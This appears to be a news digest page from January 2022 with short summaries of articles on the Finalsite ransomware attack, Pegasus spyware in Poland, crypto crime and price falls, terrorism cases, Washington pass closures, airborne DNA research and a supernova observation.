GIST	<p>A leading provider of school website infrastructure has been hit by a ransomware attack, potentially disrupting thousands of global customers.</p> <p>Finalsite claims to serve over 8000 schools worldwide, offering content management, communications, mobile and enrolment software.</p> <p>A message posted by the firm on Twitter yesterday apologized for the “prolonged outage” customers have been forced to endure as a result of the attack.</p> <p>“The Finalsite security team monitors our network systems 24 hours a day, seven days a week. On Tuesday, January 4, our team identified the presence of ransomware on certain systems in our environment,” <a href="#">it explained</a>.</p> <p>“In the time since the incident, our security, infrastructure and engineering teams have been working around the clock to restore backup systems and bring our network back to full performance, in a safe and secure manner.”</p> <p>Finalsite claimed it had uncovered no evidence that data had been stolen as part of the raid but admitted that forensic work was still ongoing.</p> <p>Double extortion involving the threat of leaking stolen data is now the norm for such attacks, according to ransomware experts.</p> <p>According <a href="#">to Coveware</a>, over 80% of attacks in Q3 involved the theft of corporate information alongside file encryption.</p> <p>There’s no sign of exactly how many schools have been impacted by the attack, although a Reddit user claimed around 2,200 might have been disrupted.</p> <p>“With numbers like this, there’s a good chance that a school in your town is affected. Many districts are complaining that they are unable to use their emergency notification system to warn their communities about closures due to weather or COVID-19 protocol,” <a href="#">they added</a>.</p> <p>“The impact of this outage is far greater than the attention it has received.”</p> <p>There’s no indication of whether Finalsite is engaging with its attackers or when customers can expect a restoration of services</p>
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HEADLINE	<b>01/07 Bitcoin predicted to crash in 2022</b>
SOURCE	<a href="https://www.the-sun.com/tech/4409306/bitcoin-predicted-to-crash-in-2022-investors-warned/">https://www.the-sun.com/tech/4409306/bitcoin-predicted-to-crash-in-2022-investors-warned/</a>
GIST	<p>BITCOIN has been predicted to crash in 2022 and the value of the cryptocurrency fell dramatically earlier today.</p> <p>One finance expert thinks Bitcoin's worth could tank as low \$10,000 (£7,400) per coin.</p>

A value of \$10,000 may still seem like a lot but Bitcoin was trading at \$69,000 (£51,000) back in November.

After a December crash Bitcoin was trading at around \$50,000 (£34,000).

Today it hit a low of \$42,579.93 (£31,476.15).

The crypto market was said to be a sea of red this morning with lots of other popular coins crashing. Ethereum is the second biggest cryptocurrency and that was down 12%.

Carol Alexander, professor of finance at Sussex University, thinks the value of Bitcoin, in particular, could soon fall even more.

She previously told CNBC that Bitcoin will "probably crash" in 2022.

The professor warned last year: "If I were an investor now I would think about coming out of Bitcoin soon because its price will probably crash next year."

She referred to Bitcoin as more of a "toy" than an investment.

Her predictions contrast with those from experts at Goldman Sachs.

Goldman Sachs previously suggested that Bitcoin could reach a staggering value of \$100,000 (£74,000) this year.

Today's dip in value came after the Federal Reserve released "hawkish" minutes.

Bitcoin was down 8.6% over the 24 hours to 4.50am ET.

Bankers are sometimes referred to as "hawkish" if they announce tightening monetary policy.

The minutes stated that the Fed would be cutting back support for the US economy, which is bad news for riskier assets like crypto.

The crash has also been linked to the US stock market falling, which has been linked to concerns that interest rates are about to rise.

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HEADLINE	<b>01/06 WSP: caution against GPS map detours</b>
SOURCE	<a href="https://www.q13fox.com/weather/washington-police-urge-caution-against-using-google-apple-map-detours-onto-remote-forest-roads">https://www.q13fox.com/weather/washington-police-urge-caution-against-using-google-apple-map-detours-onto-remote-forest-roads</a>
GIST	<p><b>SNOQUALMIE PASS, Wash.</b> - With all main highways across the Washington Cascades likely <a href="#">closed through at least Friday</a> due to heavy snow and dangerous travel conditions, Washington State Patrol troopers are warning drivers not to attempt to find their own way over the mountains on forest roads.</p> <p>Usually, a trip from Seattle to Eastern Washington is a direct drive across Snoqualmie Pass along Interstate 90. But with that and every other mountain pass closed and no viable detour options, asking popular GPS navigation mapping programs such as Google Maps or Apple Maps to plan a route to towns just on the other side of the Cascades such as Easton or Cle Elum could send you on a dangerous detour.</p> <p>A default route plotted Thursday afternoon from Seattle to Easton, Wash., would send drivers to use seldom-traveled forest roads that are not designed for regular vehicular traffic nor treated for heavy snows.</p>

"That is extremely dangerous to use the forest service roads. We caution people to NOT use forest service roads around the passes," says Sgt. Darren Wright with the Washington State Patrol. "It's extremely difficult to navigate; you can't turn around easily. You could get stuck. And there is not going to be a passing motorist coming by to help."

Wright said that calling for help could be just as problematic as cell service is "sketchy at best."

Over 4 feet of snow have fallen at Snoqualmie Pass with higher amounts at higher elevations. Department of Transportation crews have come off the passes, citing high avalanche danger and numerous tree falls due to heavy snow. Similar risks exist on forest roads.

Wright said they have already been getting reports of off-road vehicles getting stuck in these areas. "We really discourage this idea for safety reasons," Wright said.

FOX Weather has reached out to both Apple and Google for comment.

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HEADLINE	<b>01/06 Cryptocurrency-based crime: \$14B in 2021</b>
SOURCE	<a href="https://www.wsj.com/articles/cryptocurrency-based-crime-hit-a-record-14-billion-in-2021-11641500073?mod=hp_minor_pos10">https://www.wsj.com/articles/cryptocurrency-based-crime-hit-a-record-14-billion-in-2021-11641500073?mod=hp_minor_pos10</a>
GIST	<p>The dollar amount collected through cryptocurrency-based crime hit a record high in 2021, as the volume of cryptocurrency transactions overall grew into tens of trillions of dollars, according to blockchain data platform Chainalysis Inc.</p> <p>However, the volume of illicit activities remains a small share of the total cryptocurrency transactions volume, according to a preview of Chainalysis's 2022 Crypto Crime Report to be published in February.</p> <p>The volume of cryptocurrency transactions grew to \$15.8 trillion in 2021, up 567% from 2020, in a sign that the trading of digital assets is becoming increasingly mainstream. Illicit transactions totaled \$14 billion in 2021, up 79% from \$7.8 billion the previous year. But illicit transactions only made up 0.15% of cryptocurrency transaction volume in 2021.</p> <p>While risks remain for potential cryptocurrency investors, Ross Delston, a Washington, D.C., lawyer who advises clients on anti-money-laundering issues, said he doesn't expect the level of interest to ebb anytime soon.</p> <p>"What's so interesting about cryptocurrency is we usually associate it with illicit transactions; there is so much news about anything that goes wrong with crypto," he said. "As Chainalysis points out in the report, it's relatively a small fraction of transactions that are criminal in nature."</p> <p>In its report, Chainalysis warns that its tracked volume of illicit activity is likely to rise later as the company identifies more bad actors and incorporates data gained from that into its historical analysis. The company added that with the exception of 2019, which was notable for the <a href="#">PlusToken cryptocurrency scam</a>, bad actors have made up a smaller component of overall cryptocurrency transaction volume over the past few years.</p> <p>Chainalysis also warns that the rise of DeFi, or decentralized finance—an umbrella term for financial services offered on public blockchains—is a particularly menacing threat to the sector.</p> <p>Out of the total of about \$3.2 billion in cryptocurrency stolen in 2021, 72% was stolen from <a href="#">DeFi protocols</a>, according to Chainalysis.</p> <p>DeFi also was an increasingly popular way of money laundering, according to Chainalysis. The use of DeFi as a way to launder money increased 1,964% between 2020 and 2021, according to the company.</p>

	<p>Chainalysis's report is valuable but has its limitations, said Jeffrey Alberts, a partner at law firm Pryor Cashman LLP with a focus on financial technology. For instance, he said the data doesn't capture all the illicit transactions but only those crypto addresses Chainalysis has associated with illicit activity and might exclude those addresses Chainalysis doesn't know belong to known criminals.</p> <p>"All of this said, it is clear that there was a massive increase in valid activity involving cryptocurrency in 2021," he said, adding that the trend is likely to continue this year.</p> <p>Alex Zerden, who worked on policy issues related to illicit finance in both the Obama and Trump administrations, said the report is a useful contribution from Chainalysis to the public's understanding of trends in illicit finance involving cryptocurrency, but it would be beneficial to have additional clarity on the definitions of "illicit activities" mentioned in the report. He said having a common language between various regulators and industry observers would be helpful to discuss this issue from a policy development perspective.</p> <p>"Having other academic, quasi-academic analysis would help to support these claims, and further transparency on flow of funds is welcomed," said Mr. Zerden, the founder of financial technology advisory firm Capitol Peak Strategies LLC and an adjunct senior fellow at the Washington-based Center for a New American Security.</p>
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HEADLINE	<b>01/07 Poland: bought advanced Israeli spyware</b>
SOURCE	<a href="https://abcnews.go.com/International/wireStory/polish-leader-admits-country-bought-powerful-israeli-spyware-82129243">https://abcnews.go.com/International/wireStory/polish-leader-admits-country-bought-powerful-israeli-spyware-82129243</a>
GIST	<p>WARSAW, Poland -- Poland's most powerful politician has acknowledged that the country bought advanced spyware from the Israeli surveillance software maker NSO Group, but denied that it was being used to target his political opponents.</p> <p>Jaroslav Kaczynski, the leader of Poland's ruling conservative party, Law and Justice, said in an interview that the software, Pegasus, is now being used by secret services in many countries to combat crime and corruption. He noted that Pegasus represents a technological advancement over earlier monitoring systems, which did not allow the services to monitor encrypted messages.</p> <p>"It would be bad if the Polish services did not have this type of tool," Kaczynski said in an interview to be published in the Monday edition of the weekly "Sieci," excerpts of which were published Friday by the wPolityce.pl news portal.</p> <p>The interview follows exclusive reports by The Associated Press that Citizen Lab, a cyber watchdog group at the University of Toronto, found that three Polish government critics were hacked with NSO's Pegasus spyware.</p> <p>On Thursday, Amnesty International independently verified the finding by Citizen Lab that Sen. Krzysztof Brejza had been hacked multiple times in 2019 when he was running the opposition's parliamentary election campaign. Text messages stolen from Brejza's phone were doctored and aired by state-controlled TV as part of a smear campaign in the heat of the race, which the populist ruling party went on to narrowly win.</p> <p>Brejza now maintains that the election was not fair since the ruling party would have had access to his campaign's tactical thinking and plans.</p> <p>The revelations have rocked Poland, drawing comparisons to the 1970s Watergate scandal in the United States and eliciting calls for an investigative commission in parliament.</p> <p>Kaczynski said he sees no reason to set up such a commission, and he denied that the surveillance played any role in the outcome of the 2019 elections.</p>



“There is nothing here, no fact, except the hysteria of the opposition. There is no Pegasus case, no surveillance,” Kaczynski said. “No Pegasus, no services, no secretly obtained information played any role in the 2019 election campaign. They lost because they lost. They shouldn’t look for such excuses today.”

The other two Polish targets confirmed by Citizen Lab were Roman Giertych, a lawyer who represents opposition politicians in a number of politically sensitive cases, and Ewa Wrzosek, an independent-minded prosecutor.

Kaczynski's allies had previously denied that Poland purchased and used Pegasus.

Polish Prime Minister Mateusz Morawiecki called the Citizen Lab-AP findings “fake news” and suggested a foreign intelligence service could have done the spying — an idea dismissed by critics who said no other government would have any interest in the three Polish targets.

Deputy Defense Minister Wojciech Skurkiewicz in late December said “the Pegasus system is not in the possession of the Polish services. It is not used to track or surveil anyone in our country.”

Media reports say Poland purchased Pegasus in 2017, using money from the so-called Justice Fund, which is meant to help the victims of crimes and rehabilitate criminals. According to investigations by the TVN broadcaster and Gazeta Wyborcza daily, it is used by the Central Anti-Corruption Bureau, a special service created to combat corruption in public life that is under the political control of the ruling party.

“The public money was spent on an important public purpose, related to the fight against crime and the protection of citizens,” Kaczynski said.

Dozens of high-profile cases of Pegasus abuse have been uncovered since 2015, many by a global media consortium last year, with the NSO Group malware employed to eavesdrop on journalists, politicians, diplomats, lawyers and human rights activists from the Middle East to Mexico.

The Polish hacks are considered particularly egregious because they occurred not in a repressive autocracy but in a European Union member state.

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## Terror Conditions

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HEADLINE	<b>01/06 Nigeria: kidnapping gangs terrorist groups</b>
SOURCE	<a href="https://www.africanews.com/2022/01/06/nigeria-designates-kidnapping-gangs-terrorist-groups/">https://www.africanews.com/2022/01/06/nigeria-designates-kidnapping-gangs-terrorist-groups/</a>
GIST	<p>The Nigerian government on Wednesday officially listed criminal gangs in the northwest as "terrorist groups", including mass kidnappings.</p> <p>Heavily armed criminal gangs have been terrorizing people in Nigeria's northwestern and northern states for years, attacking villages, looting them and kidnapping their inhabitants for ransom, and the violence is only getting worse.</p> <p>The government of President Muhammadu Buhari, which has also been battling jihadist groups in the northeast for a decade, is under pressure to stop the activities of these criminal gangs.</p> <p>In Wednesday's gazette, the Nigerian federal government referred to the activities of Yan Bindiga and Yan Ta'adda - the Hausa name for "bandits" as they are known locally - as "acts of terrorism".</p> <p>These activities range from cattle rustling to kidnapping, including of schoolchildren for ransom, to destruction of property.</p>

	<p>This qualification implies harsher penalties under the Prevention of Terrorism Act for members of these gangs, their informers and supporters, such as those providing them with fuel and food.</p> <p>Nigerian newspapers report daily raids by these "bandits" on villages and communities.</p> <p>Security forces have announced operations against the gangs, including air raids and cutting off mobile networks in parts of northwestern Nigeria, in an attempt to root out the bandits from their dens in the region's forests.</p> <p>On Tuesday, the police announced that they had freed around 100 abductees in two raids on gang camps in the northwestern state of Zamfara.</p> <p>In recent years, these criminal gangs have made international headlines with a series of large-scale attacks on schools and universities from which they have abducted dozens of students, some of whom are still being held hostage.</p> <p>This criminal violence has its roots in conflicts between nomadic pastoralists and sedentary farmers over land and resources such as water. But the cycle of attacks and reprisals has become a criminal phenomenon over the years.</p>
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HEADLINE	<b>01/07 Terror threat in Asia countries decline</b>
SOURCE	<a href="https://www.eurasiareview.com/07012022-terror-threat-in-asian-countries-declined-in-2021/">https://www.eurasiareview.com/07012022-terror-threat-in-asian-countries-declined-in-2021/</a>
GIST	<p>Terrorist threats in Southeast and South Asian countries declined in 2021, a Singapore think-tank said in its annual threat assessment published this week, noting that COVID-19 movement restrictions had “flattened the curve of terrorism.”</p> <p>There were fewer terror-related incidents in Indonesia, Malaysia, the Philippines and Bangladesh as governments battled the pandemic, according to the Counter Terrorist Trends and Analysis report published by researchers at the S. Rajaratnam School of International Studies.</p> <p>In Thailand in 2021, meanwhile, violent incidents connected to an insurgency in the far south were similar to those in the previous year, the researchers found.</p> <p>“Ultimately, the 2021 survey underscored the continuing imperative for states to address the longer-term underlying grievances that fuel violent extremism,” the analysis said.</p> <p>In Indonesia, Southeast Asia’s largest country, the number of attacks and plots by violent extremist Islamic militant groups dipped during the past two years compared with before the outbreak of COVID-19, according to the report.</p> <p>Jamaah Ansharut Daulah’s (JAD) relatively stagnant activities in 2020-2021 and the decline of Eastern Indonesia Mujahideen’s (MIT) terror activities in 2021, it said, “can be partly attributed to movement restrictions and higher costs associated with domestic travels due to the pandemic.”</p> <p>In 2021, JAD was involved in at least nine incidents, including five using explosive materials. Those included two suicide bomb attacks and a suicide bomb plot, compared with 11 incidents the previous year. Police were the most common targets of terrorist incidents in Indonesia, the analysis found. Others targeted by Indonesian extremists last year were “civilians, including Christians, as well as both Indonesian and mainland Chinese,” the report said.</p> <p>On Tuesday, Indonesian security forces announced they had killed Ahmad Gazali, a suspected MIT member, in the mountains of Central Sulawesi province, cutting MIT’s membership down to only three. Both MIT and JAD are pro-Islamic State (IS) extremist groups.</p> <p><b>Malaysia, Philippines</b></p>

The analysis specifically linked the COVID-19 pandemic to the drop in terror activities in Malaysia last year.

“The pandemic-driven movement restrictions that hampered inter-state and international movements also ‘flattened the curve of terrorism’ in Malaysia,” it said.

Authorities made no terror-related arrests in Peninsular Malaysia last year – but made about 15 in Sabah between May and September. There were seven arrests in 2020; 72 in 2019; 85 in 2018; 106 in 2017 and 119 in 2016, the analysis found.

Still, the analysis expressed concern that terror threats had moved online.

“The government-imposed lockdowns have forced people to spend more time online, raising the likelihood of vulnerable individuals being exposed to radical ideologies in the cyber domain. Around the region, groups such as IS have increased their recruitment and radicalization efforts through social media during the pandemic,” it said.

Elsewhere, the Armed Forces of the Philippines drew praise for retaking terror bases in the southern region of Mindanao.

Nationwide, “the number of successful terrorist incidents dropped from 134 in 2019, to 59 incidents in 2020 and 17 in 2021, the analysts said, defining a successful incident as an attack that injured or killed others.

The analysis noted that government-imposed COVID-19 lockdowns affected terror operations.

“Given they significantly limited the movements of the general population, as well as those of terrorists, this has rendered terrorist logistics vulnerable to being detected more readily,” it said.

### **Bangladesh**

In Bangladesh in 2021, “there were two failed attacks compared to four successful ones in 2020,” the report said, adding that authorities had arrested about 130 terrorist suspects nationwide.

Neo-JMB, a pro-Islamic State breakaway faction of Jamaat-ul-Mujahideen Bangladesh, “appeared to target law enforcement agencies, churches, noted Hindu and Buddhist personalities and workers of non-governmental organizations,” the analysis said.

It also said that Neo-JMB sought to “‘train all its members in the production of IEDs,’ as well as ‘chloroform bombs to target buses, classrooms and public places in its bid to kill silently.’”

### **Thailand**

In Thailand’s insurgency-hit southern border region, 423 violent incidents were recorded, leaving 104 dead and 169 injured through November 2021, according to the report. The scale was similar to 2020 when 335 violent incidents occurred, leaving 116 dead and 161 injured.

In the Muslim-majority Deep South, as the region is known, more than 7,000 people have been killed since separatist groups resumed an insurgency against the Buddhist-majority 18 years ago.

The Barisan Revolusi Nasional (BRN), the Deep South’s largest separatist group, scaled down its militant operations on humanitarian grounds in April 2020 because of the pandemic. The analysis said this led to a “significant decline in violence.”

“In 2021, the BRN maintained low-level operations, so as not to aggravate the already perilous situation for southern residents,” it said.

	<p>After avoiding peace talks with government officials, in early 2020, BRN rejoined the efforts brokered by Malaysia. A source from the government team said the two sides met virtually in 2021 and the BRN submitted a ceasefire proposal in May, according to the analysis.</p> <p>“BRN proposed the establishment of an autonomous ‘Patani Darussalam,’ in which the Patani people had the right to design their own education and economic systems. In addition, their Malay language and identity were to be officially recognized and preserved,” it said.</p>
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HEADLINE	<b>01/07 Jailed 12yrs for ‘amateurish’ trip to Syria</b>
SOURCE	<a href="https://www.thenationalnews.com/world/uk-news/2022/01/07/extremist-jailed-for-12-years-after-amateurish-trip-to-fight-in-syria/">https://www.thenationalnews.com/world/uk-news/2022/01/07/extremist-jailed-for-12-years-after-amateurish-trip-to-fight-in-syria/</a>
GIST	<p>An extremist who spent months trying to cross the Syrian border from Turkey to join a terrorist training camp has been jailed for 12 years in the UK.</p> <p>Mamun Rashid, 28, of East London, was arrested by the Turkish authorities in February 2019 within walking distance of the north Syria border.</p> <p>He had spent six months plotting his route over the border after flying to Istanbul from London with the ambition of dying a martyr.</p> <p>Rashid was deported to the UK where he pleaded guilty to preparing acts of terrorism and was jailed on Thursday.</p> <p>He has since claimed that he is no longer an extremist but judge Andrew Lees sentenced him to 12 years in prison, with a further five years of being monitored.</p> <p>The court heard that Rashid had signed up to a university course to secure a student loan to fund his mission to Syria to fight against the regime of Bashar Al Assad.</p> <p>He had taken an interest in the plight of Muslims in Syria and told a friend “I hope I can be the best martyr.”</p> <p>The court heard Rashid was briefly kicked out of his family home by his father, who suspected him of being a terrorist, before relenting and allowing him to return.</p> <p>He flew to Istanbul in July 2018 and started trying to find a way into Syria. Police said they found months of text messages on his phone showing that he had tried to arrange a border crossing.</p> <p>He eventually caught a bus to Hatay Province, in the south-west of Turkey, where he was caught and detained for 282 days before being deported.</p> <p>Prosecutor Paul Jarvis said: “But for his apprehension, it is very likely he would have carried out that intention of joining a terrorist group.”</p> <p>Rashid’s defence team said he had no plan to join ISIS or any other terrorist organisation and described his plan as “staggeringly amateurish”.</p> <p>Commander Richard Smith, who leads counterterrorism police in London, said: “Rashid spent months attempting to get into Syria via Turkey so he could fight against government forces.</p> <p>“This case makes clear that anyone who goes to Syria or other conflict zones with the intention of committing terrorist acts can expect to be investigated by UK police and face prosecution on their return.”</p>
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HEADLINE	01/06 DOJ seizes Boston bomber's prison funds
SOURCE	<a href="https://www.wsj.com/articles/boston-marathon-bombers-prison-funds-are-seized-11641508929?mod=lead_feature_below_a_pos1">https://www.wsj.com/articles/boston-marathon-bombers-prison-funds-are-seized-11641508929?mod=lead_feature_below_a_pos1</a>
GIST	<p>A U.S. District Court judge granted a request by federal prosecutors to claim the funds in an account held by convicted Boston Marathon bomber Dzhokhar Tsarnaev.</p> <p>Prosecutors filed a motion to collect monies Tsarnaev owes in criminal restitution from his inmate trust fund account. They said he has received tens of thousands of dollars—including a Covid-19 relief payment—but has paid only a fraction toward court-issued fines, while spending the money in other ways.</p> <p>Tsarnaev had paid \$2,202 of the \$101.1 million he owes in criminal restitution and other court fees as of Wednesday's filing. He had \$3,885 in his trust account in late December, according to those documents.</p> <p>"The Defendant, although not making payments to his victims, has made payments to other third-parties," prosecutors wrote.</p> <p>Prosecutors said Tsarnaev, using his inmate account, made his largest payment to his siblings for items labeled as gifts, support and books, totaling \$2,000.</p> <p>He received a \$1,400 Covid-19 relief payment in June, \$11,230 from the nonprofit Federal Defenders of New York and more than \$8,400 from dozens of individuals, according to the motion.</p> <p>A federal court ruled last year that qualifying incarcerated people were eligible for federal stimulus payments under the Coronavirus Aid, Relief, and Economic Security Act.</p> <p>Representatives for Federal Defenders of New York declined to comment.</p> <p>The judge's Wednesday order is a turnover order, not a garnishment order, meaning that a new one will have to be filed each time funds are to be turned over from Tsarnaev's account to the court.</p> <p>Boston Marathon bombing victims will receive 100% of the funds, a Department of Justice spokeswoman said.</p> <p>"It has been a focus ... for us to pursue inmate trust balances in appropriate cases," the spokeswoman said. "We typically wait until the balance reaches a point where it is appropriate for us to pursue."</p> <p>Inmate trust accounts are managed by the Federal Bureau of Prisons and allow prisoners to receive money from prison employment and outside sources. A bureau spokesman declined to comment.</p> <p>An attorney representing Tsarnaev didn't respond to a request for comment.</p> <p>Tsarnaev, now 28-years-old, and his brother Tamerlan, Chechen immigrants from Kyrgyzstan who followed al Qaeda propaganda online, planted bombs in the 2013 terrorist attack that killed three people and wounded hundreds of others near the legendary race's finish line.</p> <p>The brothers fled the scene, committing a spree of additional crimes including the murder of a Massachusetts Institute of Technology campus police officer. Within days, authorities identified the suspects, prompting a manhunt across the Boston area. Tamerlan was killed in a confrontation with police, while Dzhokhar, a student at the University of Massachusetts Dartmouth, was captured the next day.</p> <p>Tsarnaev is being held at a super-maximum security prison in Florence, Colo. A U.S. district court had sentenced Tsarnaev to death but in 2020 a federal appeals panel in Boston set that verdict aside, concluding that the trial judge made several errors in the penalty trial.</p> <p>The Justice Department, despite Attorney General Merrick Garland's moratorium on federal executions, appealed to the Supreme Court in October asking to reinstate the sentence.</p>

## Suspicious, Unusual

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HEADLINE	01/06 Scientists pull animal DNA from within air
SOURCE	<a href="https://www.cnn.com/2022/01/06/europe/airborne-dna-animals-scn/index.html">https://www.cnn.com/2022/01/06/europe/airborne-dna-animals-scn/index.html</a>
GIST	<p>(CNN)Scientists are now able to collect and analyze DNA pulled from thin air, and the groundbreaking new techniques used to do it could transform the way endangered animals and natural ecosystems are studied and protected.</p> <p>Two groups of researchers working independently, one based in Denmark and the other in the UK and Canada, tested whether airborne DNA could be used to detect different animal species by collecting samples at Copenhagen Zoo in Denmark and Hamerton Zoo Park in the UK.</p> <p>All living organisms, including humans, leach genetic material known as eDNA into the environment when they excrete waste, bleed, and shed skin or fur. In recent years, conservation scientists have sequenced waterborne eDNA to track certain species, <a href="#">such as the UK's great crested newt population</a>, in aquatic environments.</p> <p>However, monitoring airborne eDNA was more of a challenge because it's more diluted in air than it is in water.</p> <p>While the two research teams used different methods to filter the DNA from air -- both were successful in identifying the animals lurking nearby -- inside the confines of the zoo and outside.</p> <p>Their work was published in two proof-of-concept studies in the journal Current Biology on Thursday.</p> <p>The team working at the Hamerton Zoo Park was able to identify DNA from 25 different species of animals, including tigers, lemurs and dingoes, said <a href="#">UK study</a> lead author Elizabeth Clare, an assistant professor at York University in Canada and a former senior lecturer at Queen Mary University of London, where she undertook the work.</p> <p>"We were even able to collect eDNA from animals that were hundreds of metres away from where we were testing without a significant drop in the concentration, and even from outside sealed buildings. The animals were inside, but their DNA was escaping," Clare said in a news release.</p> <p>The Copenhagen team was able to detect 49 vertebrate species, including 30 mammals.</p> <p>"We were astonished when we saw the results," said Kristine Bohmann, an associate professor from the Globe Institute at the University of Copenhagen and the lead author of the <a href="#">Danish study</a>, in the statement.</p> <p>"In just 40 samples, we detected 49 species spanning mammal, bird, amphibian, reptile and fish," Bohmann said. "In the Rainforest House (at the Copenhagen Zoo) we even detected the guppies in the pond, the two-toed sloth and the boa. When sampling air in just one outdoor site, we detected many of the animals with access to an outdoor enclosure in that part of the zoo, for example kea, ostrich and rhino."</p> <p>The Copenhagen team used a fan to draw in air from the zoo and its surroundings, which may contain genetic material from breath, saliva or fur -- or anything small enough to become airborne and float in the air.</p> <p>The air was then filtered, and DNA was extracted and copied before being sequenced. Once processed, the DNA sequences were compared to a reference database to identify the animal species.</p>



	<p>Both teams also detected the presence of animals not living at the zoos. They identified animals living in the surrounding areas, including the Eurasian hedgehog -- endangered in the UK -- which was detected from outside of Hamerton Zoo, while the water vole and red squirrel were detected around the Copenhagen Zoo.</p> <p>While the researchers said the density of animals in the zoo's enclosures may have artificially increased the likelihood of detection, they believe the technique could shape the way scientists map species, potentially removing the need for camera traps, in-person monitoring and intensive field work.</p> <p>"The non-invasive nature of this approach makes it particularly valuable for observing vulnerable or endangered species as well as those in hard-to-reach environments, such as caves and burrows. They do not have to be visible for us to know they are in the area if we can pick up traces of their DNA, literally out of thin air," Clare said in the statement.</p> <p>"Air sampling could revolutionise terrestrial biomonitoring and provide new opportunities to track the composition of animal communities as well as detect invasion of non-native species."</p> <p>Techniques involving eDNA from other environments already have made a significant impact across scientific research. Archaeologists are using eDNA found in cave dirt <a href="#">to understand ancient human populations</a>, while eDNA from cores of Arctic earth has revealed <a href="#">where mammoths and other Ice Age animals used to roam</a>.</p> <p>Similar techniques also are used to sample eDNA in sewage to detect and track Covid-19 in human populations.</p>
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HEADLINE	<b>01/06 Scientists watch a giant dying star explode</b>
SOURCE	<a href="https://www.cnn.com/2022/01/06/world/red-supergiant-star-supernova-scn/index.html">https://www.cnn.com/2022/01/06/world/red-supergiant-star-supernova-scn/index.html</a>
GIST	<p>(CNN)The death of a star is one of the most dramatic and violent events in space -- and astronomers had an unprecedented front-row seat to the explosive end of a stellar giant.</p> <p>Ground-based telescopes provided the first real-time look at the death throes of a red supergiant star. While these aren't the brightest or most massive stars, they are the largest in terms of volume.</p> <p>One popular red supergiant star is Betelgeuse, which has captured interest due to its <a href="#">irregular dimming</a>. While it was predicted that Betelgeuse may go supernova, it's still around.</p> <p>However, the star at the heart of this new research, located in the NGC 5731 galaxy about 120 million light-years away from Earth, was 10 times more massive than the sun before it exploded.</p> <p>Before they go out in a blaze of glory, some stars experience violent eruptions or release glowing hot layers of gas. Until astronomers witnessed this event, they believed that red supergiants were relatively quiet before exploding into a supernova or collapsing into a dense neutron star.</p> <p>Instead, scientists watched the star self-destruct in dramatic fashion before collapsing in a type II supernova. This star death is the rapid collapse and violent explosion of a massive star after it has burned through the hydrogen, helium and other elements in its core.</p> <p>All that remains is the star's iron, but iron can't fuse so the star will run out of energy. When that happens, the iron collapses and causes the supernova. A study detailing these findings published Thursday in <a href="#">The Astrophysical Journal</a>.</p> <p>"This is a breakthrough in our understanding of what massive stars do moments before they die," said lead study author Wynn Jacobson-Galán, a National Science Foundation Graduate Research Fellow at University of California, Berkeley, in a statement.</p>

"Direct detection of pre-supernova activity in a red supergiant star has never been observed before in an ordinary type II supernova. For the first time, we watched a red supergiant star explode."

### **The final moments of stellar death**

Astronomers were first alerted to the star's unusual activity 130 days before it went supernova. Bright radiation was detected in the summer of 2020 by the University of Hawai'i Institute for Astronomy Pan-STARRS telescope on Maui's Haleakalā.

Then, in the fall of that year, the researchers witnessed a supernova in the same spot.

They observed it using the W.M. Keck Observatory's Low Resolution Imaging Spectrometer on Maunakea, Hawai'i, and named the supernova 2020tlf. Their observations revealed that there was material around the star when it exploded -- the bright gas that the star violently kicked away from itself over the summer.

"It's like watching a ticking time bomb," said senior study author Raffaella Margutti, an associate professor of astronomy and astrophysics at UC Berkeley, in a statement. "We've never confirmed such violent activity in a dying red supergiant star where we see it produce such a luminous emission, then collapse and combust, until now."

Some of these massive stars likely experience consequential internal changes that cause the tumultuous release of gas before they die, the finding has shown.

The work was conducted while Jacobson-Galán and Margutti were still at Northwestern University. They had remote access to the Keck Observatory's telescopes in Hawai'i, which was "instrumental in providing direct evidence of a massive star transitioning into a supernova explosion," Margutti said.

"I am most excited by all of the new 'unknowns' that have been unlocked by this discovery," Jacobson-Galán said. "Detecting more events like SN 2020tlf will dramatically impact how we define the final months of stellar evolution, uniting observers and theorists in the quest to solve the mystery on how massive stars spend the final moments of their lives."

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HEADLINE	01/06 All four WA winter highway routes closed
SOURCE	<a href="https://www.seattletimes.com/seattle-news/transportation/pass-closures-prevent-travel-between-east-and-west-sides-of-washington-state/">https://www.seattletimes.com/seattle-news/transportation/pass-closures-prevent-travel-between-east-and-west-sides-of-washington-state/</a>
GIST	<p>There's no way to drive across Washington state's mountains until likely Sunday, as the worst combination of snow and rain in many years has closed all four of the state's winter highway routes between the east and west.</p> <p>A whiteout snowstorm early Thursday, followed by freezing rain and snow in the forecast, forced the Washington State Department of Transportation to close Snoqualmie, Stevens, White and Blewett passes. These closures delay freight across the Northwest, while ravaging the plans of travelers on their way back to homes and colleges. Alpine resorts are blanketed in snow, much of it unstable, without the means for skiers to arrive.</p> <p>"Because of the conditions and the amount of work needed to safely reopen, our passes will likely remain closed until Sunday," WSDOT announced Thursday evening, after speculating earlier about a Saturday reopening.</p> <p>It's been almost three years since a severe 47-hour snow shut down Snoqualmie Pass on Feb. 11, 2019, when a burst of <a href="#">4 feet of snow in two days</a> brought avalanche risks.</p> <p>But it's unusual, and maybe unprecedented, to close all four passes simultaneously for multiple days, effectively splitting the state in half. Snoqualmie Pass alone serves around 28,000 vehicles per day.</p>

“I’ve been with WSDOT for 16 years and don’t recall a time when we had all four passes closed,” regional spokesperson Meagan Lott [tweeted](#). Three passes closed for a day as an avalanche precaution [in January 2009](#), while in early [2008 back-to-back avalanches](#) closed Snoqualmie Pass most of four days.

White Pass rarely closes, but was under extreme avalanche risk. A section of Highway 12 there collapsed in a [late-2015 washout](#) and another in [fall 2013](#), reducing travel to one lane during reconstruction.

People desperate to drive can try Interstate 5 south to Vancouver, turn inland at Highway 14 along the north side of the Columbia River Gorge, followed by a north turn at Goldendale over icy Highway 97 across Satus Pass, into the Yakima Valley. Or try Oregon’s Interstate 84 through the Gorge.

The disruptions create havoc for commerce on both sides of the mountains, as agricultural exports from Eastern Washington grind to a halt, and imports going inland from Puget Sound ports must wait.

A big share of Washington state’s average \$42 million per day of trucked cargo is stymied, said [Sheri Call](#), president and CEO of the Washington Trucking Association. Typically those include perishable products, such as tankers of raw milk heading for Longview by White Pass, or Issaquah by Snoqualmie Pass, she said.

“I’m kind of likening this to a mini micro supply-chain crisis,” Call said.

Each day Scot Courtright of Moses Lake can’t send his hay over the mountains is a day he’ll never get back.

“It’s not a good thing at all,” he said. “And the unfortunate part with pass closures, when they’re prolonged, is you can’t catch up. These are all lost days.” That’s because, even when the passes reopen, Courtright won’t be able to hire enough extra drivers to move the hay that’s piling up.

